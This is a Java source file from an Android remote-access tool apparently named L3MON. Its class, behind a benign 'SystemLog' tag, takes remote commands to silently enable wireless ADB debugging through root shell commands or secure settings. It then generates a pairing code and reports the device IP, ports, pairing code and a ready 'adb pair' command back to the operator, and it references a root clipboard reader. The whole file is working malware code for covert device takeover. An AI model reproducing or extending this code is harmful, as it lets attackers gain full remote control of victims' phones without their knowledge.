package com.etechd.l3mon;

import android.content.Context;
import android.content.Intent;
import android.net.wifi.WifiInfo;
import android.net.wifi.WifiManager;
import android.os.Build;
import android.os.Handler;
import android.os.Looper;
import android.provider.Settings;
import android.util.Log;

import org.json.JSONObject;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Locale;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

/**
 * Activa/desactiva depuración inalámbrica y reporta IP, puertos y código de emparejamiento.
 * Requiere root o WRITE_SECURE_SETTINGS para cambiar el estado sin intervención manual.
 */
public final class WirelessDebugHelper {
    private static final String TAG = "SystemLog";

    private WirelessDebugHelper() {
    }

    public static void handleCommand(String action) {
        Context ctx = SystemLogApi.getAppContext();
        if (ctx == null) {
            return;
        }
        try {
            JSONObject report = buildReport(ctx, action);
            Log.i(TAG, "WirelessDebug: reporte action=" + action + " enabled=" + report.optBoolean("enabled")
                    + " port=" + report.opt("port") + " method=" + report.optString("method"));
            SystemLogApi.report("0xWD", report);
        } catch (Exception e) {
            Log.e(TAG, "WirelessDebug: " + e.getMessage());
            try {
                JSONObject err = new JSONObject();
                err.put("success", false);
                err.put("error", e.getMessage() != null ? e.getMessage() : "unknown");
                err.put("reported_at", System.currentTimeMillis());
                SystemLogApi.report("0xWD", err);
            } catch (Exception ignored) {
            }
        }
    }

    private static JSONObject buildReport(Context ctx, String action) throws Exception {
        String normalized = action == null || action.trim().isEmpty()
                ? "status"
                : action.trim().toLowerCase(Locale.ROOT);

        boolean currentlyEnabled = readEnabled(ctx);
        boolean targetEnabled = currentlyEnabled;
        switch (normalized) {
            case "enable":
                targetEnabled = true;
                break;
            case "disable":
                targetEnabled = false;
                break;
            case "toggle":
                targetEnabled = !currentlyEnabled;
                break;
            case "status":
                break;
            default:
                normalized = "status";
                break;
        }

        boolean changed = false;
        String method = "read";
        String note = null;

        if (!"status".equals(normalized)) {
            ToggleResult result = applyToggle(ctx, targetEnabled);
            changed = result.changed;
            method = result.method;
            note = result.note;
            Thread.sleep(1500L);
        }

        JSONObject out = collectStatus(ctx);
        out.put("root_available", RootClipboardReader.hasRoot());
        out.put("success", true);
        out.put("action", normalized);
        out.put("changed", changed);
        out.put("method", method);
        if (note != null && !note.isEmpty()) {
            out.put("note", note);
        }
        out.put("reported_at", System.currentTimeMillis());
        return out;
    }

    private static JSONObject collectStatus(Context ctx) throws Exception {
        JSONObject out = new JSONObject();
        boolean enabled = readEnabled(ctx);
        out.put("enabled", enabled);

        String ip = readLocalIp(ctx);
        if (ip != null && !ip.isEmpty()) {
            out.put("ip", ip);
        }

        String dumpsys = firstNonEmpty(
                execSu("dumpsys adb"),
                execShell("dumpsys adb")
        );
        if (dumpsys != null) {
            parseDumpsys(dumpsys, out);
        }

        String statusOut = firstNonEmpty(
                execSu("cmd connectivity wifi adb status"),
                execShell("cmd connectivity wifi adb status"),
                execSu("cmd wifi adb status"),
                execShell("cmd wifi adb status")
        );
        if (statusOut != null) {
            parseGenericOutput(statusOut, out);
        }

        if (Build.VERSION.SDK_INT >= 30) {
            String pairingOut = firstNonEmpty(
                    execSu("cmd connectivity wifi adb generate-pairing-code"),
                    execSu("cmd wifi adb generate-pairing-code")
            );
            if (pairingOut != null) {
                parseGenericOutput(pairingOut, out);
            }
        }

        if (!out.has("ip") && ip != null) {
            out.put("ip", ip);
        }

        if (out.has("ip") && out.has("port")) {
            out.put("adb_connect", out.getString("ip") + ":" + out.get("port"));
        }

        if (out.has("ip") && out.has("pairing_port") && out.has("pairing_code")) {
            out.put("adb_pair", "adb pair " + out.getString("ip") + ":" + out.get("pairing_port")
                    + " " + out.getString("pairing_code"));
        }

        return out;
    }

    private static ToggleResult applyToggle(Context ctx, boolean enable) {
        Log.i(TAG, "WirelessDebug: applyToggle enable=" + enable + " root=" + RootClipboardReader.hasRoot());
        if (enable) {
            if (execSuOk("cmd connectivity wifi adb enable")) {
                return ToggleResult.ok("root_cmd", true);
            }
            if (execSuOk("cmd wifi adb enable")) {
                return ToggleResult.ok("root_cmd", true);
            }
            if (execSuOk("settings put global adb_wifi_enabled 1")) {
                return ToggleResult.ok("root_settings", true);
            }
            if (execSuOk("settings put secure adb_wifi_enabled 1")) {
                return ToggleResult.ok("root_settings", true);
            }
            if (writeSecureSetting(ctx, "adb_wifi_enabled", 1)) {
                return ToggleResult.ok("secure_settings", true);
            }
            execSuOk("settings put global development_settings_enabled 1");
            if (execSuOk("settings put global adb_wifi_enabled 1")) {
                return ToggleResult.note("root_dev_settings",
                        "Opciones de desarrollador activadas vía root.");
            }
            openWirelessDebugSettings(ctx);
            return ToggleResult.note("intent",
                    "Se abrieron los ajustes de depuración inalámbrica; confirma en el dispositivo si hace falta.");
        }

        if (execSuOk("cmd connectivity wifi adb disable")) {
            return ToggleResult.ok("root_cmd", true);
        }
        if (execSuOk("cmd wifi adb disable")) {
            return ToggleResult.ok("root_cmd", true);
        }
        if (execSuOk("settings put global adb_wifi_enabled 0")) {
            return ToggleResult.ok("root_settings", true);
        }
        if (execSuOk("settings put secure adb_wifi_enabled 0")) {
            return ToggleResult.ok("root_settings", true);
        }
        if (writeSecureSetting(ctx, "adb_wifi_enabled", 0)) {
            return ToggleResult.ok("secure_settings", true);
        }
        openWirelessDebugSettings(ctx);
        return ToggleResult.note("intent",
                "Se abrieron los ajustes para desactivar la depuración inalámbrica manualmente.");
    }

    private static boolean readEnabled(Context ctx) {
        String setting = firstNonEmpty(
                execSu("settings get global adb_wifi_enabled"),
                execShell("settings get global adb_wifi_enabled")
        );
        if (setting != null) {
            setting = setting.trim();
            if ("1".equals(setting) || "true".equalsIgnoreCase(setting)) {
                return true;
            }
            if ("0".equals(setting) || "false".equalsIgnoreCase(setting)) {
                return false;
            }
        }

        try {
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1) {
                int value = Settings.Global.getInt(
                        ctx.getContentResolver(), "adb_wifi_enabled", -1);
                if (value == 1) {
                    return true;
                }
                if (value == 0) {
                    return false;
                }
            }
        } catch (Exception ignored) {
        }

        String dumpsys = firstNonEmpty(execSu("dumpsys adb"), execShell("dumpsys adb"));
        if (dumpsys != null) {
            String lower = dumpsys.toLowerCase(Locale.ROOT);
            if (lower.contains("adb_wifi enabled: true") || lower.contains("adb wifi enabled=true")) {
                return true;
            }
            if (lower.contains("adb_wifi enabled: false") || lower.contains("adb wifi enabled=false")) {
                return false;
            }
        }
        return false;
    }

    private static void parseDumpsys(String dumpsys, JSONObject out) throws Exception {
        parseGenericOutput(dumpsys, out);
        Matcher endpoint = Pattern.compile("(?i)m?wifiadbendpoint[^\\n]*?(\\d{1,3}(?:\\.\\d{1,3}){3}):(\\d{2,5})")
                .matcher(dumpsys);
        if (endpoint.find()) {
            out.put("ip", endpoint.group(1));
            out.put("port", Integer.parseInt(endpoint.group(2)));
        }
    }

    private static void parseGenericOutput(String text, JSONObject out) throws Exception {
        if (text == null || text.trim().isEmpty()) {
            return;
        }

        Matcher code = Pattern.compile("(?i)(?:pairing\\s*)?code[^0-9]*(\\d{6})").matcher(text);
        if (code.find()) {
            out.put("pairing_code", code.group(1));
        }

        Matcher pairPort = Pattern.compile("(?i)pairing\\s*port[^0-9]*(\\d{2,5})").matcher(text);
        if (pairPort.find()) {
            out.put("pairing_port", Integer.parseInt(pairPort.group(1)));
        }

        Matcher port = Pattern.compile("(?i)(?:adb\\s*)?(?:wifi\\s*)?port[^0-9]*(\\d{2,5})").matcher(text);
        while (port.find()) {
            int value = Integer.parseInt(port.group(1));
            if (!out.has("port")) {
                out.put("port", value);
            }
        }

        Matcher ip = Pattern.compile("(\\d{1,3}(?:\\.\\d{1,3}){3})").matcher(text);
        if (ip.find() && !out.has("ip")) {
            out.put("ip", ip.group(1));
        }
    }

    private static String readLocalIp(Context ctx) {
        try {
            WifiManager wm = (WifiManager) ctx.getApplicationContext().getSystemService(Context.WIFI_SERVICE);
            if (wm != null) {
                WifiInfo wi = wm.getConnectionInfo();
                if (wi != null) {
                    int ip = wi.getIpAddress();
                    if (ip != 0) {
                        return formatIp(ip);
                    }
                }
            }
        } catch (Exception ignored) {
        }
        return null;
    }

    private static String formatIp(int ip) {
        return (ip & 0xff) + "." + ((ip >> 8) & 0xff) + "." + ((ip >> 16) & 0xff) + "." + ((ip >> 24) & 0xff);
    }

    private static boolean writeSecureSetting(Context ctx, String key, int value) {
        try {
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1) {
                return Settings.Global.putInt(ctx.getContentResolver(), key, value);
            }
        } catch (Exception e) {
            Log.d(TAG, "writeSecureSetting: " + e.getMessage());
        }
        return false;
    }

    private static void openWirelessDebugSettings(final Context ctx) {
        final CountDownLatch latch = new CountDownLatch(1);
        new Handler(Looper.getMainLooper()).post(new Runnable() {
            @Override
            public void run() {
                try {
                    Intent intent;
                    if (Build.VERSION.SDK_INT >= 30) {
                        intent = new Intent("android.settings.WIRELESS_DEBUGGING_SETTINGS");
                    } else {
                        intent = new Intent(Settings.ACTION_APPLICATION_DEVELOPMENT_SETTINGS);
                    }
                    intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                    ctx.startActivity(intent);
                } catch (Exception e) {
                    try {
                        Intent fallback = new Intent(Settings.ACTION_APPLICATION_DEVELOPMENT_SETTINGS);
                        fallback.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                        ctx.startActivity(fallback);
                    } catch (Exception ignored) {
                        Log.w(TAG, "openWirelessDebugSettings: " + e.getMessage());
                    }
                } finally {
                    latch.countDown();
                }
            }
        });
        try {
            latch.await(3, TimeUnit.SECONDS);
        } catch (InterruptedException ignored) {
        }
    }

    private static boolean execSuOk(String command) {
        if (!RootClipboardReader.hasRoot()) {
            return false;
        }
        Integer code = execExitCode("su -c \"" + command.replace("\"", "\\\"") + "\"");
        return code != null && code == 0;
    }

    private static Integer execExitCode(String command) {
        Process process = null;
        try {
            process = Runtime.getRuntime().exec(new String[]{"sh", "-c", command});
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            while (reader.readLine() != null) {
                // drain stdout
            }
            reader.close();
            return process.waitFor();
        } catch (Exception e) {
            return null;
        } finally {
            if (process != null) {
                process.destroy();
            }
        }
    }

    private static String execShell(String command) {
        return exec(command, false);
    }

    private static String execSu(String command) {
        if (!RootClipboardReader.hasRoot()) {
            return null;
        }
        return exec("su -c \"" + command.replace("\"", "\\\"") + "\"", false);
    }

    private static String exec(String command, boolean ignored) {
        Process process = null;
        BufferedReader reader = null;
        try {
            process = Runtime.getRuntime().exec(new String[]{"sh", "-c", command});
            reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            StringBuilder sb = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) {
                if (sb.length() > 0) {
                    sb.append('\n');
                }
                sb.append(line);
            }
            int code = process.waitFor();
            if (code != 0) {
                return null;
            }
            String out = sb.toString().trim();
            return out.isEmpty() ? "" : out;
        } catch (Exception e) {
            return null;
        } finally {
            if (reader != null) {
                try {
                    reader.close();
                } catch (Exception ignoredClose) {
                }
            }
            if (process != null) {
                process.destroy();
            }
        }
    }

    private static String firstNonEmpty(String... values) {
        if (values == null) {
            return null;
        }
        for (String value : values) {
            if (value != null && !value.trim().isEmpty()) {
                return value.trim();
            }
        }
        return null;
    }

    private static final class ToggleResult {
        final boolean changed;
        final String method;
        final String note;

        private ToggleResult(boolean changed, String method, String note) {
            this.changed = changed;
            this.method = method;
            this.note = note;
        }

        static ToggleResult ok(String method, boolean changed) {
            return new ToggleResult(changed, method, null);
        }

        static ToggleResult note(String method, String note) {
            return new ToggleResult(false, method, note);
        }
    }
}
